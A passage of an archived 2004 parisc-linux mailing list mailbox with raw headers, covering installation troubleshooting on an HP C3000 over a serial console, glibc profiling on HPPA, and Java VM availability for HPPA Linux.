	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jan 2004 16:09:52 -0700 (MST)
Original-Received: (qmail 1498 invoked from network); 4 Jan 2004 23:09:39 -0000
Original-Received: from unknown (HELO nitephyre) (203.173.22.171)
	by mail.iinet.net.au with SMTP; 4 Jan 2004 23:09:39 -0000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4927.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 04 Jan 2004 23:09:53 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20547

This is a multi-part message in MIME format.

------=_NextPart_000_005C_01C3D36B.9E8A6FE0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

mmkay, how do i go about that then please?

cheers, matt :)
  ----- Original Message -----=20
  From: Joel Soete=20
  To: Matt Lewis=20
  Cc: parisc-linux@lists.parisc-linux.org=20
  Sent: Sunday, January 04, 2004 11:17 PM
  Subject: Re: [parisc-linux] Probem Installing: slang(version).deb =
corrupt




  Matt Lewis wrote:
  > my other pc's run win2k...
  >=20
  so an hyperterminal would help you ;)

  > so, it seems that my only soloution is to try and install via serial =
cable? :|
  >=20
  Yes, excepted if esiee team could build for you a netiso cd with k =
2.4.23 from link that mentioned Grant :)

  Cheers,
  Joel


  > ----- Original Message ----- >   From: Joel Soete=20
  >   To: Matt Lewis=20
  >   Sent: Sunday, January 04, 2004 9:48 PM
  >   Subject: Re: [parisc-linux] Probem Installing: slang(version).deb =
corrupt
  >=20
  >=20
  >=20
  >=20
  >   Matt Lewis wrote:
  >   > no, i burnt the 70mb netinstall iso to a cd and booted off =
that.. i don't actually have another linux box i can use as a nfs =
server, and i dont have a serial cable..
  >=20
  >   Hmm what kind of other system/os is it available for you near the =
c3000?
  >=20
  >   afaik the serial connection doesn't have to be a linux box: an =
actual serail console (setup to emulate vt100), a nt system with=20
  >   'hyperterminal' vt100 emulation would also works, as well as =
another unix system with a prgm allowing you to emulate a vt100=20
  >   terminalon a serial port.
  >=20
  >   Do you have the oportunity to do the serial cable yourself? If you =
have to buy one (cheap but always usefull), it is a null-modem=20
  >   cable (femel 9 pin for the c3000).
  >=20
  >   hth,
  >   joel
  >=20
  >=20
  >=20
  >=20
  >=20
  >=20
  > =
------------------------------------------------------------------------
  >=20
  > _______________________________________________
  > parisc-linux mailing list
  > parisc-linux@lists.parisc-linux.org
  > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



------=_NextPart_000_005C_01C3D36B.9E8A6FE0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3810.1700" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>mmkay, how do i go about that then=20
please?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>cheers, matt :)</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:soete.joel@tiscali.be" =
title=3Dsoete.joel@tiscali.be>Joel=20
  Soete</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:nitephyre@iinet.net.au" =
title=3Dnitephyre@iinet.net.au>Matt=20
  Lewis</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Cc:</B> <A=20
  href=3D"mailto:parisc-linux@lists.parisc-linux.org"=20
  =
title=3Dparisc-linux@lists.parisc-linux.org>parisc-linux@lists.parisc-lin=
ux.org</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Sunday, January 04, 2004 =
11:17=20
  PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: [parisc-linux] =
Probem=20
  Installing: slang(version).deb corrupt</DIV>
  <DIV><BR></DIV><BR><BR>Matt Lewis wrote:<BR>&gt; my other pc's run=20
  win2k...<BR>&gt; <BR>so an hyperterminal would help you ;)<BR><BR>&gt; =
so, it=20
  seems that my only soloution is to try and install via serial cable?=20
  :|<BR>&gt; <BR>Yes, excepted if esiee team could build for you a =
netiso cd=20
  with k 2.4.23 from link that mentioned Grant=20
  :)<BR><BR>Cheers,<BR>Joel<BR><BR><BR>&gt; ----- Original Message ----- =

  &gt;&nbsp;&nbsp; From: Joel Soete <BR>&gt;&nbsp;&nbsp; To: Matt Lewis=20
  <BR>&gt;&nbsp;&nbsp; Sent: Sunday, January 04, 2004 9:48=20
  PM<BR>&gt;&nbsp;&nbsp; Subject: Re: [parisc-linux] Probem Installing:=20
  slang(version).deb corrupt<BR>&gt; <BR>&gt; <BR>&gt; <BR>&gt;=20
  <BR>&gt;&nbsp;&nbsp; Matt Lewis wrote:<BR>&gt;&nbsp;&nbsp; &gt; no, i =
burnt=20
  the 70mb netinstall iso to a cd and booted off that.. i don't actually =
have=20
  another linux box i can use as a nfs server, and i dont have a serial=20
  cable..<BR>&gt; <BR>&gt;&nbsp;&nbsp; Hmm what kind of other system/os =
is it=20
  available for you near the c3000?<BR>&gt; <BR>&gt;&nbsp;&nbsp; afaik =
the=20
  serial connection doesn't have to be a linux box: an actual serail =
console=20
  (setup to emulate vt100), a nt system with <BR>&gt;&nbsp;&nbsp;=20
  'hyperterminal' vt100 emulation would also works, as well as another =
unix=20
  system with a prgm allowing you to emulate a vt100 =
<BR>&gt;&nbsp;&nbsp;=20
  terminalon a serial port.<BR>&gt; <BR>&gt;&nbsp;&nbsp; Do you have the =

  oportunity to do the serial cable yourself? If you have to buy one =
(cheap but=20
  always usefull), it is a null-modem <BR>&gt;&nbsp;&nbsp; cable (femel =
9 pin=20
  for the c3000).<BR>&gt; <BR>&gt;&nbsp;&nbsp; hth,<BR>&gt;&nbsp;&nbsp;=20
  joel<BR>&gt; <BR>&gt; <BR>&gt; <BR>&gt; <BR>&gt; <BR>&gt; <BR>&gt;=20
  =
------------------------------------------------------------------------<=
BR>&gt;=20
  <BR>&gt; _______________________________________________<BR>&gt; =
parisc-linux=20
  mailing list<BR>&gt; <A=20
  =
href=3D"mailto:parisc-linux@lists.parisc-linux.org">parisc-linux@lists.pa=
risc-linux.org</A><BR>&gt;=20
  <A=20
  =
href=3D"http://lists.parisc-linux.org/mailman/listinfo/parisc-linux">http=
://lists.parisc-linux.org/mailman/listinfo/parisc-linux</A><BR><BR></BLOC=
KQUOTE></BODY></HTML>

------=_NextPart_000_005C_01C3D36B.9E8A6FE0--



From - Thu Nov 08 21:30:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Probem Installing: slang(version).deb corrupt
Date: Sun, 4 Jan 2004 22:28:42 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20040105052842.GB612@colo.lackof.org>
References: <000801c3d1de$08e053d0$0101a8c0@nitephyre>
	<3FF6A74F.3000108@tiscali.be>
	<001f01c3d24b$5e810600$0101a8c0@nitephyre>
	<20040104045551.GA16904@colo.lackof.org>
	<000a01c3d28b$91046fa0$0101a8c0@nitephyre>
	<3FF7FD86.8000208@tiscali.be>
	<000a01c3d2bd$65441b40$0101a8c0@nitephyre>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623102 4272 80.91.229.3 (22 Nov 2014 02:25:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matt Lewis <nitephyre@iinet.net.au>
Original-X-From: grundler@lackof.org  Sun Jan  4 22:28:43 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 232804840
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jan 2004 22:28:43 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 98F22298044; Sun,  4 Jan 2004 22:28:42 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 01139-07; Sun, 4 Jan 2004 22:28:42 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1DCE929803F; Sun,  4 Jan 2004 22:28:42 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <000a01c3d2bd$65441b40$0101a8c0@nitephyre>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Jan 2004 05:28:43 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20548

On Sun, Jan 04, 2004 at 10:22:15PM +1000, Matt Lewis wrote:
> so, it seems that my only soloution is to try and install via serial cable? :|

Not "via". Use serial cable to get a working serial console.
Use the 70MB iso you already have and try again to install.

Disconnect the USB keyboard, and cycle power on the C3000.
When it comes up, PDC (firmware) should be talking to the
Serial Port 1 by default.

BTW, which 70MB ISO did you grab?
Can you post the complete URL?

grant


From - Thu Nov 08 21:30:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Good news for glibc.
Date: Mon, 5 Jan 2004 01:35:47 -0500
Lines: 35
Approved: news@gmane.org
Message-ID: <20040105063547.GC23782__26003.9476598196$1416623102$gmane$org@systemhalted>
References: <20040101200318.GB7069@systemhalted>
	<200401012100.i01L0G0L019101@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623102 4278 80.91.229.3 (22 Nov 2014 02:25:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:02 +0000 (UTC)
Cc: lamont@debian.org, parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: carlos@baldric.uwo.ca  Sun Jan  4 23:44:05 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 018AE48A8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jan 2004 23:44:05 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AdOL5-0000zf-00; Mon, 05 Jan 2004 01:35:47 -0500
Content-Disposition: inline
In-Reply-To: <200401012100.i01L0G0L019101@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (95% Sync Ratio [==========])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Jan 2004 06:44:05 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20549

On Thu, Jan 01, 2004 at 04:00:16PM -0500, John David Anglin wrote:
> > The main issue was that the 'start' symbol needs to be canonicalized
> > before passing on to the gmon routines. This requires entry.h to be
> 
> I still think that using __c_f_f_c for this special case is overkill.

What could we use?

Good news, I just fixed LD_PROFILE so I can actually check to see what
functions take up too much time :) I think I inadvertently fixed it for
ia64 too... what do ia64 people use to profile glibc?

c.

A tempting peek! :)

  %   cumulative   self              self     total
 time   seconds   seconds    calls  us/call  us/call  name
  0.00      0.00     0.00    14000     0.00           cfree
  0.00      0.00     0.00     6000     0.00           memset
  0.00      0.00     0.00     2004     0.00           malloc
  0.00      0.00     0.00     2003     0.00           flockfile
  0.00      0.00     0.00     2003     0.00           funlockfile
  0.00      0.00     0.00     2001     0.00           __cxa_finalize
  0.00      0.00     0.00     1002     0.00           index
  0.00      0.00     0.00     1000     0.00           __GI__dl_close
  0.00      0.00     0.00     1000     0.00           __GI__dl_open
  0.00      0.00     0.00     1000     0.00           printf
  0.00      0.00     0.00     1000     0.00           puts
  0.00      0.00     0.00     1000     0.00           strlen
  0.00      0.00     0.00        1     0.00           __libc_start_main
  0.00      0.00     0.00        1     0.00           realloc
  0.00      0.00     0.00        1     0.00           strrchr



From - Thu Nov 08 21:30:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matt Lewis" <nitephyre@iinet.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Probem Installing: slang(version).deb corrupt
Date: Mon, 5 Jan 2004 18:01:30 +1000
Lines: 94
Approved: news@gmane.org
Message-ID: <01d101c3d362$217cf940$0101a8c0@nitephyre>
References: <000801c3d1de$08e053d0$0101a8c0@nitephyre>
	<3FF6A74F.3000108@tiscali.be>
	<001f01c3d24b$5e810600$0101a8c0@nitephyre>
	<20040104045551.GA16904@colo.lackof.org>
	<000a01c3d28b$91046fa0$0101a8c0@nitephyre>
	<3FF7FD86.8000208@tiscali.be>
	<000a01c3d2bd$65441b40$0101a8c0@nitephyre>
	<20040105052842.GB612@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_01CE_01C3D3B5.F291AB40"
X-Trace: ger.gmane.org 1416623103 4279 80.91.229.3 (22 Nov 2014 02:25:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:03 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: nitephyre@iinet.net.au  Mon Jan  5 01:25:37 2004
Return-Path: <nitephyre@iinet.net.au>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (mail-01.iinet.net.au [203.59.3.33])
	by dsl2.external.hp.com (Postfix) with SMTP id 61A6A48A8
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jan 2004 01:25:36 -0700 (MST)
Original-Received: (qmail 28049 invoked from network); 5 Jan 2004 08:01:47 -0000
Original-Received: from unknown (HELO nitephyre) (203.217.80.84)
	by mail.iinet.net.au with SMTP; 5 Jan 2004 08:01:47 -0000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4927.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4927.1200
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Jan 2004 08:25:38 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20550

This is a multi-part message in MIME format.

------=_NextPart_000_01CE_01C3D3B5.F291AB40
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

ftp.parisc-linux.org/cd-images/testing/auto-isos/isos/palinux-2.4.21-pa6-=
20030718-netinst.iso
  ----- Original Message -----=20
  From: Grant Grundler=20
  To: Matt Lewis=20
  Cc: parisc-linux@lists.parisc-linux.org=20
  Sent: Monday, January 05, 2004 3:28 PM
  Subject: Re: [parisc-linux] Probem Installing: slang(version).deb =
corrupt


  On Sun, Jan 04, 2004 at 10:22:15PM +1000, Matt Lewis wrote:
  > so, it seems that my only soloution is to try and install via serial =
cable? :|

  Not "via". Use serial cable to get a working serial console.
  Use the 70MB iso you already have and try again to install.

  Disconnect the USB keyboard, and cycle power on the C3000.
  When it comes up, PDC (firmware) should be talking to the
  Serial Port 1 by default.

  BTW, which 70MB ISO did you grab?
  Can you post the complete URL?

  grant


------=_NextPart_000_01CE_01C3D3B5.F291AB40
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3810.1700" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"ftp://ftp.parisc-linux.org/cd-images/testing/auto-isos/isos/palin=
ux-2.4.21-pa6-20030718-netinst.iso">ftp.parisc-linux.org/cd-images/testin=
g/auto-isos/isos/palinux-2.4.21-pa6-20030718-netinst.iso</A></FONT></DIV>=

<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:grundler@parisc-linux.org"=20
  title=3Dgrundler@parisc-linux.org>Grant Grundler</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:nitephyre@iinet.net.au" =
title=3Dnitephyre@iinet.net.au>Matt=20
  Lewis</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Cc:</B> <A=20
  href=3D"mailto:parisc-linux@lists.parisc-linux.org"=20
  =
title=3Dparisc-linux@lists.parisc-linux.org>parisc-linux@lists.parisc-lin=
ux.org</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Monday, January 05, 2004 =
3:28=20
  PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: [parisc-linux] =
Probem=20
  Installing: slang(version).deb corrupt</DIV>
  <DIV><BR></DIV>On Sun, Jan 04, 2004 at 10:22:15PM +1000, Matt Lewis=20
  wrote:<BR>&gt; so, it seems that my only soloution is to try and =
install via=20
  serial cable? :|<BR><BR>Not "via". Use serial cable to get a working =
serial=20
  console.<BR>Use the 70MB iso you already have and try again to=20
  install.<BR><BR>Disconnect the USB keyboard, and cycle power on the=20
  C3000.<BR>When it comes up, PDC (firmware) should be talking to =
the<BR>Serial=20
  Port 1 by default.<BR><BR>BTW, which 70MB ISO did you grab?<BR>Can you =
post=20
  the complete URL?<BR><BR>grant<BR></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_01CE_01C3D3B5.F291AB40--



From - Thu Nov 08 21:30:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michel Weynants <mweynants@wanadoo.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sun JVM on linux HPPA
Date: Mon, 05 Jan 2004 14:08:34 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <1073308114.2718.7.camel@dev3>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623103 4283 80.91.229.3 (22 Nov 2014 02:25:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: mweynants@wanadoo.be  Mon Jan  5 06:08:39 2004
Return-Path: <mweynants@wanadoo.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ev6.be.wanadoo.com (ev6.be.wanadoo.com [195.74.212.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id D488F48D6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jan 2004 06:08:38 -0700 (MST)
Original-Received: from dev3 (adsl-141-11.wanadoo.be [213.177.141.11])
	by ev6.be.wanadoo.com (8.12.9/8.12.9) with ESMTP id i05EBfBf003609
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 5 Jan 2004 15:11:42 +0100
X-Mailer: Ximian Evolution 1.4.4 
X-DCC-wanadoo-be-Metrics: ev6.be.wanadoo.com 1016; Body=1 Fuz1=1 Fuz2=1
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Jan 2004 13:08:39 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20551

Hi,

I just received an 'old' (just 10 years) 755 and successfully installed
Linux on it and all runs fine (thanks to all for that porting).

However, I wonder if a Java virtual machine has been ported for that
environment. I checked several sites but did not found any info,
sentence, reference,... of a JSDK1.4 for linux on HPPA (well, thousands
references for JSDK on linux on intel).

Do you know if such version exist and where it could be found?

Many thanks in advance,

Cheers,
Michel




From - Thu Nov 08 21:30:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Sun JVM on linux HPPA
Date: Mon, 5 Jan 2004 05:14:51 -0800
Lines: 21
Approved: news@gmane.org
Message-ID: <20040105131451.GN533@tausq.org>
References: <1073308114.2718.7.camel@dev3>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623103 4285 80.91.229.3 (22 Nov 2014 02:25:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Michel Weynants <mweynants@wanadoo.be>
Original-X-From: randolph@tausq.org  Mon Jan  5 06:12:30 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 848FA48A3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jan 2004 06:12:30 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 5253ECD294; Mon,  5 Jan 2004 05:14:51 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <1073308114.2718.7.camel@dev3>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 05 Jan 2004 13:12:30 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20552

> However, I wonder if a Java virtual machine has been ported for that
> environment. I checked several sites but did not found any info,
> sentence, reference,... of a JSDK1.4 for linux on HPPA (well, thousands
> references for JSDK on linux on intel).
> 
> Do you know if such version exist and where it could be found?

The Sun JDK is not open-source so we cannot port it to hppa-linux. There
are several efforts under way to get other JVMs to work on hppa. SableVM
is close to working. kaffe can probably also be made to work with some
effort.

Search the mail archives for more info; this has been asked several
times in the past.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:30:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Missing ioctl translations
Date: Mon, 5 Jan 2004 18:19:43 +0100
Lines: 688
Approved: news@gmane.org
Message-ID: <20040105181943.0b72576a.gmsoft@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="Multipart_Mon__5_Jan_2004_18:19:43_+0100_0880e6d0"
X-Trace: ger.gmane.org 1416623104 4290 80.91.229.3 (22 Nov 2014 02:25:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: gmsoft@gentoo.org  Mon Jan  5 10:20:29 2004
Return-Path: <gmsoft@gentoo.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from stargate.da-kot (unknown [212.88.229.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 667ED48AA
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  5 Jan 2004 10:20:21 -0700 (MST)
Original-Received: from gmsoft.lln.tuxicoman.be ([2001:6f8:204:aa00:210:a7ff:fe10:1a3e]
	helo=gmsoft) by stargate.da-kot with esmtp (TLSv1:DES-CBC3-SHA:168)
	(Exim 4.22) id 1AdYOL-0001Vv-Hd
	for parisc-linux@lists.parisc-linux.org; Mon, 05 Jan 2004 18:19:49 +0100
X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
